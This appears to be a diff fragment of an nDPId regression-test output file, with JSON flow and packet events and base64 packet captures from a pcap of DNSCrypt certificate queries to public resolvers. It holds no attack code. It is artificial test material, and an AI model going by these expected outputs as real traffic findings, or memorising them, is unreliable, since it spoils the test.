AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00883{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":137,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":60,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739305219453,"flow_src_last_pkt_time":946739305219453,"flow_dst_last_pkt_time":946739305219453,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739305219453,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"142.4.204.111","src_port":46856,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":138,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739305219467} -00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":138,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739305219453,"pkt":"REREREREZmZmZmZmCABFAABQiB8Aub0RWZQKAAABjgTMbwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00758{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":139,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":53,"flow_packet_id":2,"flow_src_last_pkt_time":946739305192710,"flow_dst_last_pkt_time":946739305220178,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":222,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":222,"pkt_l4_len":188,"thread_ts_usec":946739305220178,"pkt":"ZmZmZmZmRERERERECABFAADQ+LhAADgRZ23DHl4cCgAAASD70jMAvJuWMsmAAAABAAEAAAAAATINZG5zY3J5cHQtY2VydAVmZm11YwNuZXQAABAAAcAMABAAAQAADhAAfXxETlNDAAEAANu1cuNn82W5kyvuIYj3yDd11LkL534iAFDK9fBQA07jnu8CUEQwYJt1XxEE91D0YyFd2wLooVHv9yyAcc0SAAB5FL6yNLYbucmv1fHy4RsAcOv\/0XhGDt+qQ0bl\/YNRIXkUvrI0thu5ATQ9Gl8jB9hnnVXw"} 00758{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":140,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":54,"flow_packet_id":2,"flow_src_last_pkt_time":946739305192763,"flow_dst_last_pkt_time":946739305220691,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":222,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":222,"pkt_l4_len":188,"thread_ts_usec":946739305220691,"pkt":"ZmZmZmZmRERERERECABFAADQ+LlAADgRZ2zDHl4cCgAAASD7rPoAvMDLMs2AAAABAAEAAAAAATINZG5zY3J5cHQtY2VydAVmZm11YwNuZXQAABAAAcAMABAAAQAADhAAfXxETlNDAAEAANu1cuNn82W5kyvuIYj3yDd11LkL534iAFDK9fBQA07jnu8CUEQwYJt1XxEE91D0YyFd2wLooVHv9yyAcc0SAAB5FL6yNLYbucmv1fHy4RsAcOv\/0XhGDt+qQ0bl\/YNRIXkUvrI0thu5ATQ9Gl8jB9hnnVXw"} 00767{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":141,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":59,"flow_packet_id":2,"flow_src_last_pkt_time":946739305219398,"flow_dst_last_pkt_time":946739305326235,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"thread_ts_usec":946739305326235,"pkt":"ZmZmZmZmRERERERECABFAADWg00AADQR55mOBMxvCgAAAQG7zDwAwg0OAg2BgAABAAEAAAAAATINZG5zY3J5cHQtY2VydANuczMCY2EFbHVnZ3MCY28AABAAAcAMABAAAQAAAAAAfXxETlNDAAEAAG0rJMeHQmadAAjPo7oVfCGn+vVnYNn+3VnMSzQY0rAkl3fyY6FeDYzevPOP9Wx6CFjMcHM\/npT74\/JxSlg\/ZQ+xYYapuSWJmSy0bkM5eaAYWq1iOjOwzrlApye0OOzsPbFhhqm5JYmZWX62h1l+todsSrmH"} @@ -300,21 +278,15 @@ 00780{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":145,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":62,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739305327882,"flow_src_last_pkt_time":946739305327882,"flow_dst_last_pkt_time":946739305327882,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739305327882,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"149.112.112.10","src_port":40009,"dst_port":8443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02484{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":145,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":62,"flow_packet_id":1,"flow_src_last_pkt_time":946739305327882,"flow_dst_last_pkt_time":946739305327882,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739305327882,"pkt":"REREREREZmZmZmZmCABFAAXcwI4gAL0RUUsKAAABlXBwCpxJIPsGBPr0a\/0BAAABAAAAAAABATINZG5zY3J5cHQtY2VydAVxdWFkOQNuZXQAABAAAQAAAAAAAAAAAAXGAAwFwgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00885{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":145,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":62,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739305327882,"flow_src_last_pkt_time":946739305327882,"flow_dst_last_pkt_time":946739305327882,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739305327882,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"149.112.112.10","src_port":40009,"dst_port":8443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":146,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739305327899} -00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":146,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739305327882,"pkt":"REREREREZmZmZmZmCABFAABQwI4Aub0Rdh4KAAABlXBwCgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00780{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":147,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":63,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739305327955,"flow_src_last_pkt_time":946739305327955,"flow_dst_last_pkt_time":946739305327955,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739305327955,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"149.112.112.10","src_port":56022,"dst_port":8443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02484{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":147,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":63,"flow_packet_id":1,"flow_src_last_pkt_time":946739305327955,"flow_dst_last_pkt_time":946739305327955,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739305327955,"pkt":"REREREREZmZmZmZmCABFAAXcwI8gAL0RUUoKAAABlXBwCtrWIPsGBLxpa\/sBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAVxdWFkOQNuZXQAABAAAQAAAAAAAAAAAAXGAAwFwgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00885{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":147,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":63,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739305327955,"flow_src_last_pkt_time":946739305327955,"flow_dst_last_pkt_time":946739305327955,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739305327955,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"149.112.112.10","src_port":56022,"dst_port":8443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":148,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739305327973} -00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":148,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739305327955,"pkt":"REREREREZmZmZmZmCABFAABQwI8Aub0Rdh0KAAABlXBwCgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00780{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":149,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":64,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739305327975,"flow_src_last_pkt_time":946739305327975,"flow_dst_last_pkt_time":946739305327975,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739305327975,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"149.112.112.10","src_port":42570,"dst_port":8443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02484{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":149,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":64,"flow_packet_id":1,"flow_src_last_pkt_time":946739305327975,"flow_dst_last_pkt_time":946739305327975,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739305327975,"pkt":"REREREREZmZmZmZmCABFAAXcwJEgAL0RUUgKAAABlXBwCqZKIPsGBPDxa\/8BAAABAAAAAAABATINZG5zY3J5cHQtY2VydAVxdWFkOQNuZXQAABAAAQAAAAAAAAAAAAXGAAwFwgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00885{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":149,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":64,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739305327975,"flow_src_last_pkt_time":946739305327975,"flow_dst_last_pkt_time":946739305327975,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739305327975,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"149.112.112.10","src_port":42570,"dst_port":8443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} 00777{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":150,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":65,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739305327975,"flow_src_last_pkt_time":946739305327975,"flow_dst_last_pkt_time":946739305327975,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739305327975,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"149.112.112.10","src_port":57465,"dst_port":8443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 